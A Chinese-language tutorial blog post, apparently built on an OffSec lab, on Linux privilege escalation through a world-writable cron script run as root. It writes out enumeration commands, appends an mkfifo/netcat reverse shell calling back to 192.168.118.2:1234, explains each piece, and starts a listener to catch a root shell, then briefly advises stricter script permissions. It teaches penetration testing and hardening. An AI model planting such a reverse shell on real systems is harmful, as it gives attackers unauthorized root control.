**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点▶权限提升 ➢ Linux权限提升 ➢ ++利用Cron任务配置不当++ ++实现提权++ 🔥🔥🔥
▶ 横向移动▶ 报告/分析
▶ 教训/修复
目录
[1.1 利用不安全的文件权限实现提权](#1.1 利用不安全的文件权限实现提权)
[1.1.1 利用Cron任务配置不当实现提权](#1.1.1 利用Cron任务配置不当实现提权)
[1.1.1.1 什么是Cron任务](#1.1.1.1 什么是Cron任务)
[1.1.1.2 实践:查看运行的cron作业脚本权限](#1.1.1.2 实践:查看运行的cron作业脚本权限)
[2.嗅探 cron 日志](#2.嗅探 cron 日志)
[1.1.1.3 实践:在可写的Cron脚本植入反向 Shell](#1.1.1.3 实践:在可写的Cron脚本植入反向 Shell)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.Linux权限提升
本系列内容围绕以下四大部分展开,本文是第三部分:++利用Cron任务配置不当++ ++实现提权++。
| 攻击向量 | 核心概念 | 典型检查/利用方法 | 关键风险点 |
|---|---|---|---|
| 1. 系统枚举 | 全面侦查,像侦探一样收集一切可能指向弱点的线索。 | - 检查系统配置、用户与组、历史命令。 - 枚举运行服务、网络连接、进程。 - 列出安装软件、内核版本、计划任务。 | 信息收集不全面,导致错过关键漏洞入口。 |
| 2. 暴露的机密信息 | 系统或应用中意外留存的可直接利用的敏感数据。 | - 查找配置文件中的硬编码密码。 - 搜索日志文件中的敏感数据或错误信息。 - 检查环境变量中的密钥、令牌或密码。 | 访问凭证直接泄露,提供最直接的攻击突破口。 |
| 3. 不安全的文件权限 | 文件或目录的权限设置不当,允许低权限用户进行越权操作。 | -++全局可写文件/目录:++ 任何用户可修改,用于注入恶意代码或替换文件。 - ++不当所有权:++ 低权限用户拥有关键系统文件,可直接修改。 - ++SUID/SGID滥用:++高权限程序存在漏洞或配置错误,可被利用来获取其权限。 | 通过文件系统层面的配置错误,绕过权限限制。 |
| 4. 利用系统组件 | 利用操作系统内核、系统服务或第三方应用程序中存在的漏洞。 | - 脆弱服务 :攻击以高权限(如root)运行的未更新或配置不当的服务。 - 内核漏洞 :利用操作系统内核本身的漏洞直接提权。 - 软件漏洞:利用第三方应用(如编辑器、数据库)的漏洞执行高权限代码。 | 利用代码层面的漏洞,实现权限的实质性提升。 |
1.1 利用不安全的文件权限实现提权
如何利用不安全的文件权限实现提权?
假设现在已经以++++非特权用户的身份++++ 访问Linux目标机器。为了利用不安全的文件权限提权,我们必须找到具有这样特征的可执行文件:
①具备允许写入的访问权限
②可以以提升的特权级别运行****
1.1.1 利用Cron任务配置不当实现提权
本节聚焦于 cron 作业 ------一个常见的利用点(符合以上的两个特征)。因为系统级计划任务通常以 root 权限 运行,而管理员有时会为这些脚本设置++不安全的权限++。
cron 是 Linux 的定时任务调度器,系统级任务 会以 root 身份 执行。如果某个 cron 作业的脚本权限过于宽松(例如任何用户都可写),那么攻击者就可以修改它,等待下次任务执行时获得高权限。
1.1.1.1 什么是Cron任务
cron 是类 Unix 系统中的后台定时任务调度器,它允许用户在预设的时间点或间隔自动执行命令或脚本,广泛用于自动化运维任务(如备份、日志清理、系统更新等)。
🔧 主要组件:
-
cron 守护进程
持续运行的后台服务,负责读取 crontab 文件并在指定时间执行对应任务。
-
crontab 文件
每个用户(包括 root)都可以拥有自己的 crontab 文件,其中每一行定义一个定时任务。
格式如下:* * * * * 要执行的命令(/path/to/command) ┬ ┬ ┬ ┬ ┬ │ │ │ │ │ │ │ │ │ └── 星期 (0-7, 0或7代表周日) │ │ │ └──── 月份 (1-12) │ │ └────── 日期 (1-31) │ └──────── 小时 (0-23) └────────── 分钟 (0-59)📝 示例:
-
每天下午 3 点执行备份脚本
0 15 * * * /usr/local/bin/backup.sh -
每周一早上 6 点执行系统更新
0 6 * * 1 /usr/bin/apt update && /usr/bin/apt upgrade -y
💡 提示: 使用
crontab -e编辑当前用户的定时任务列表,crontab -l查看现有任务。系统级任务通常存放在/etc/crontab或/etc/cron.d/中,并以 root 权限运行。
1.1.1.2 实践:查看运行的cron作业脚本权限
在本例中,通过SSH登录到VM1,用户名joe、密码offsec,然后开展实践。
1.检查cron服务状态
先检查目标系统上是否安装的cron作业的文件系统,确保定时任务机制可用。
bash
$ systemctl status cron
2.嗅探 cron 日志
从系统日志中筛选与 cron 相关的记录,寻找以 root 运行的脚本:
bash
$ grep "CRON" /var/log/syslog

🔍 发现一行关键日志:
user_backups.sh位于/home/joe/下,每分钟 被执行一次,且执行者是 root。
3.分析可利用的任务文件
让我们详细分析该任务脚本内容与权限:

内容 :将 /home/joe/ 目录的内容都复制到 /var/backups/joe,脚本内容是打开bash。
权限 :使用 ls -l 查看,发现其他用户可读、可写该文件,如上图。
| 权限位 | 所有者 | 所属组 | 其他用户 |
|---|---|---|---|
| 读取 | ✅ | ✅ | ✅ |
| 写入 | ✅ | ✅ | ✅ |
| 执行 | ✅ | ✅ | ❌ |
⚠️ 关键:其他用户拥有写入权限 ,意味着
joe可以修改此脚本(干坏事)。
1.1.1.3 实践:在可写的Cron脚本植入反向 Shell
由于这个任务脚本每分钟以 root 权限运行 ,且 joe 可以任意修改 它,攻击者只需在脚本中插入恶意命令(如添加新的 root 用户、反弹 Shell),等待下一分钟任务执行,即可实现权限提升。
1.追加空行
bash
$ echo >> user_backups.sh
**追加空行,**这一步是可选的,用于保持脚本格式。
2.写入反向shell命令
bash
$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.118.2 1234 >/tmp/f" >> user_backups.sh
⚠️ 此时命令仅被写入文件,尚未执行,等待(一分钟后)cron 触发。
🔍 反向 Shell 命令逐段解析:
| 命令片段 | 作用 |
|---|---|
rm /tmp/f |
删除旧的命名管道(如有),确保环境干净 |
mkfifo /tmp/f |
创建命名管道 /tmp/f,用于进程间通信 |
| `cat /tmp/f | /bin/sh -i 2>&1` |
| ` | nc 192.168.118.2 1234` |
>/tmp/f |
将从网络接收到的数据写回管道,形成闭环 |
🔄 数据流闭环示意图

在建立一个新的干净的命令管道(mkfifo /tmp/f)后:
| 步骤 | 操作 | 功能描述 |
|---|---|---|
| 1 | cat /tmp/f |
不断从命名管道读取数据(这些数据是来自远程主机的命令) |
| 2 | /bin/sh -i 2>&1 |
接收并执行读取的命令,将执行结果(含错误)输出 |
| 3 | nc 192.168.118.2 1234 |
将 Shell 的执行结果发送到远程攻击机 |
| 4 | > /tmp/f |
将远程主机的响应(新命令)写回命名管道,供 cat 再次读取,形成闭环 |
-
输入:攻击机发送的命令通过 Netcat 进入管道
-
处理:Shell 执行管道中的命令
-
输出:执行结果经 Netcat 回传给攻击机
-
循环:攻击机可连续发送命令,获得持久控制
3.什么是命令管道
这个内容在之前的文章已提及,这里再次重复。
命名管道 (Named Pipe,也称为 FIFO,即 First In First Out)是一种特殊类型的文件 ,用于++进程间通信++ 。它像一个单向的数据通道 ,允许一个进程写入数据,另一个进程读取数据,数据在内核 中流动,不存入磁盘。
①与普通管道的区别
| 类型 | 特点 | 使用场景 |
|---|---|---|
| 普通管道(匿名管道) | 没有文件名,只能用于有亲缘关系的进程(如父子进程) | `ls |
| 命名管道(FIFO) | 有文件名 ,存在于文件系统中,任意进程只要知道路径名就可以打开使用 | 两个不相关的进程通信 |
②工作原理
-
通过
mkfifo命令创建一个命名管道文件(例如/tmp/myfifo)。 -
一个进程以写模式 打开该文件,另一个进程以读模式打开。
-
写入的数据由内核直接传递给读取进程,不经过磁盘,因此效率高。
-
如果没有读取进程,写入操作会被阻塞(等待);反之,如果没有写入进程,读取操作也会被阻塞。
🌊 形象比喻:一根公共水管
想象一个公共饮水点:
-
命名管道就像一根埋在地下的水管,两端露出地面,一端是进水口,一端是出水口。
-
任何人都可以拿着自己的水桶来到进水口倒水 (写入),也可以来到出水口接水(读取)。
-
水(数据)并不会储存在水管里,而是直接从进水口流向出水口。
-
如果没人接水,倒水的人就会被堵住(阻塞);如果没人倒水,接水的人也只能干等。
③在反向 Shell 中的角色
在之前的攻击场景中:
bash
mkfifo /tmp/f # 创建命名管道
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.118.2 1234 > /tmp/f
这里 /tmp/f 就是那根"水管":
-
cat /tmp/f负责从水管里取水(读取来自网络或 Shell 的数据)。 -
/bin/sh -i处理这些数据(执行命令),并将结果和水一起倒回水管(通过管道传递给nc)。 -
nc把水(命令执行结果)送到远程攻击机,同时从远程接回新的命令水,再倒回水管(> /tmp/f)。
这样,数据就在命名管道中循环流动,实现了远程交互式 Shell 。即,这条命令实现了一个双向数据流交互。
4.执行结果-实现提权
当 cron 下一次执行该脚本时,将:
-
创建命名管道
-
连接回攻击机(IP 192.168.118.2,端口 1234)
-
攻击者即可获得 root 权限的交互式 Shell,完全控制目标系统。
以下是查看任务执行后,写入的脚本任务文件(user_backups.sh)的内容:

接下来,只需在我们的Kali机器上设置一个监听器,等待cron作业执行。并获取RootShell:

-
设置 Netcat 监听
在攻击机 Kali 上执行监听,等待目标反向连接。
bashnc -lvnp 1234 -
Cron 作业触发
目标机的
user_backups.sh脚本被每分钟执行的 cron 任务以 root 权限运行,其中注入的反向 Shell 命令生效。 -
成功提权
Kali 上的监听器接收到连接,获得目标系统的 root 权限交互式 Shell,攻击完成。
⚠️ 现实警示:此类安全问题并不罕见------管理员常因急于部署系统而忽略脚本权限设置,导致可写脚本配合高权限运行的 cron 作业成为提权突破口。
管理员应确保 cron 作业的脚本文件权限严格**(如 700 或 750)**,并定期审计计划任务及其脚本的安全性。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
